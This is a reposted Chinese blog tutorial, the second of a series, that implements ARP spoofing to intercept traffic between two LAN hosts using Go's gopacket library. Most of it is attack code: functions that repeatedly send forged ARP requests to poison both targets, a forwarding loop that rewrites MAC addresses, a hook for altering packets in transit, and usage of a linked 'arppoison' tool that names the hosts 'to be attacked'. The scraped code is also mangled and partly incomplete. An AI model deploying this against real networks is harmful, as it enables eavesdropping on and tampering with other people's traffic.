arp欺骗进行流量截获-2

来源:互联网 发布:python实例100例 编辑:程序博客网 时间:2024/05/22 05:53

转:http://www.cnblogs.com/baizx/p/5572878.html

 

上一篇讲了原理,那么这一篇主要讲如何实现。基本上也就是实现上面的两个步骤,这里基于gopacket实现,我会带着大家一步步详细把每个步骤都讲到。

ARP 欺骗

首先就是伪造ARP请求,让A和B把数据包发到我这里来。

利用gopacket 发送一个ARP请求,下面是一个实现函数,可以用来发送一个指定ip地址和mac地址的arp请求。

//send a arp reply from srcIp to dstIP
func SendAFakeArpRequest(handle *pcap.Handle, dstIP, srcIP net.IP, dstMac, srcMac net.HardwareAddr) {

arpLayer := &layers.ARP{
AddrType:layers.
LinkTypeEthernet,
Protocol:layers.
EthernetTypeIPv4,
HwAddressSize:
6,
ProtAddressSize:
4,
Operation:layers.
ARPRequest,
DstHwAddress:dstMac, //
正常情况下,这里应该是FFFFFFFFF,但是这里通过指定来发送虚假定向ARP请求
DstProtAddress:[]byte(dstIP.To4()),
SourceHwAddress:srcMac,
SourceProtAddress:[]
byte(srcIP.To4()),
}

ethernetLayer := &layers.Ethernet{
SrcMAC: srcMac,
DstMAC: dstMac, //
正常情况下,这里应该是FFFFFFFFF,但是这里通过指定来发送虚假定向ARP请求
EthernetType:layers.EthernetTypeARP,
}

// And create the packet with the layers
buffer := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{
FixLengths:
true,
ComputeChecksums:
true,
}
err := gopacket.
SerializeLayers(buffer, opts,
ethernetLayer,
arpLayer,
)
if err != nil {
log.
Error(err)
}
outgoingPacket := buffer.
Bytes()
log.
Debug("sending arp")
//log.Debug(hex.Dump(outgoingPacket))
handleMutex.Lock()
err = handle.
WritePacketData(outgoingPacket)
handleMutex.
Unlock()
if err != nil {
log.
Error(err)
}
}

 

 

    下面是循环向A和B播报虚假MAC地址,其中要攻击的就是IP1和ip2

//tell ip1 that ip2's mac is mymac and tell ip2 that ip1's mac is mymac periodlyfunc sendSudeoArpInfo(interfaceName string, myip, ip1, ip2 net.IP, mymac, mac1, mac2 net.HardwareAddr, shouldStop *bool) {       fmt.Printf("start sending fake arp packets...\n")       handle, err := pcap.OpenLive(interfaceName, 65535, false, pcap.BlockForever)       handle.SetDirection(pcap.DirectionOut)defer handle.Close()if err != nil {              log.Fatal(err)       }for ! (*shouldStop) {//tell ip1 that ip2's mac is mymacSendAFakeArpRequest(handle, ip1, ip2, mac1, mymac) //tell ip2 that ip1's mac is mymacSendAFakeArpRequest(handle, ip2, ip1, mac2, mymac)              time.Sleep(1 * time.Second)       }}

 

这样第一步就完成了。

剩下的就是第二步,等待数据包到来,然后进行转发

IP转发

如果只是单纯想观察一下数据流,比如把数据报保存下来,留作以后分析等,那其实很简单,我们可以不用编程,直接使用ip forward这样的功能,如果在linux下,可以直接这样:

#:> echo 1 > /proc/sys/net/ipv4/ip_forward

sudo sysctl -w net.inet.ip.forwarding=1

这里我们主要讲如何用程序来实现。arppoisoning函数会进行包转发,参数很直观,第一个是要处理的网卡,最后一个用来控制停止。

/*将截获ip1ip2之间通信的所有流量,自己相当于是一个中间人的角色,close(stop) or write somthing to stop when you want to stop */funcArpPoisoning(interfaceName string, myip, ip1, ip2 net.IP, mymac, mac1, mac2 net.HardwareAddr, stop chan bool) {var filter string = fmt.Sprintf("ip host %s or ip host %s ", ip1.To4().String(), ip2.To4().String())       err = handle.SetBPFFilter(filter) //设置包过滤,只处理ip1 ip2if err != nil {              log.Fatal(err)return}        log.Infof("capture filter: ip host %s or ip host %s ", ip1.To4().String(), ip2.To4().String())       packetSource := gopacket.NewPacketSource(handle, handle.LinkType())       ip2Mac := make(map[string]net.HardwareAddr)       ip2Mac[ip1.String()] = mac1       ip2Mac[ip2.String()] = mac2       in := packetSource.Packets()var packet gopacket.Packetfor {select {case <-stop:                     shouldStop = truetime.Sleep(3 * time.Second) //多等一会儿,让arp发送线程有机会结束return              case packet = <-in:                     layer := packet.Layer(layers.LayerTypeEthernet)                     log.Debug("receive a packet")if layer != nil {                            ethLayer := layer.(*layers.Ethernet) //下面这一段来判断是ip1ip2之间的数据包,如果是,那么应该进行mac地址修改,然后再转发if bytes.Compare(ethLayer.DstMAC, mymac) == 0 {                                   layer = packet.Layer(layers.LayerTypeIPv4)if layer != nil {                                          iplayer := layer.(*layers.IPv4)//目标mac是我,并且ip地址是我要监听的两个,那么转发if ( (ipEqual(iplayer.DstIP, ip1) && ipEqual(iplayer.SrcIP, ip2)  ) ||                                          ( ipEqual(iplayer.DstIP, ip2) && ipEqual(iplayer.SrcIP, ip1) )) {                                                 log.Debug("receive a  valid packet...")                                                 raw := PacketHandler(packet, ip2Mac)//handleMutex.Lock()err := handle.WritePacketData(raw)                                                 log.Debug("resend this packet..")//handleMutex.Unlock()if err != nil {                                                        log.Error(err)return}                                          }                                   }                            }                     }              }       }}

 

PacketHandler 可以自定义,这样可以实现自己想要的功能,比如修改包的内容再转发等等。

下面是基本的PacketHandler实现,就是什么都不做,只是转发。

func PacketHandler(packet gopacket.Packet, ip2Mac map[string]net.HardwareAddr) []byte {       data := packet.Data()layer := packet.Layer(layers.LayerTypeIPv4)iplayer := layer.(*layers.IPv4)       layer = packet.Layer(layers.LayerTypeEthernet)       ethLayer := layer.(*layers.Ethernet)       dstMac := ip2Mac[iplayer.DstIP.String()]   //找到真正的mac地址是什么,然后修改//copy(data,dstMac)for i := 0; i < len(dstMac); i++ {              data[i] = dstMac[i]       }return data}

 

到此为止,已经把ARP欺骗进行流量截获的基本原理以及实现方法讲解完毕,当然真正的可运行程序要比这上面说的复杂,要考虑到使用方便等,完整的实现可以见https://github.com/nkbai/arppoison

 

用法

arppoison -ip1 192.168.56.103 -ip2 192.168.56.104 -t seconds -d-ip1,-ip2: the ip will be attacked-t how many seconds to attackdefault is 3000 *3600 seconds, 3000 hour-d print debug message

 

0 0
原创粉丝点击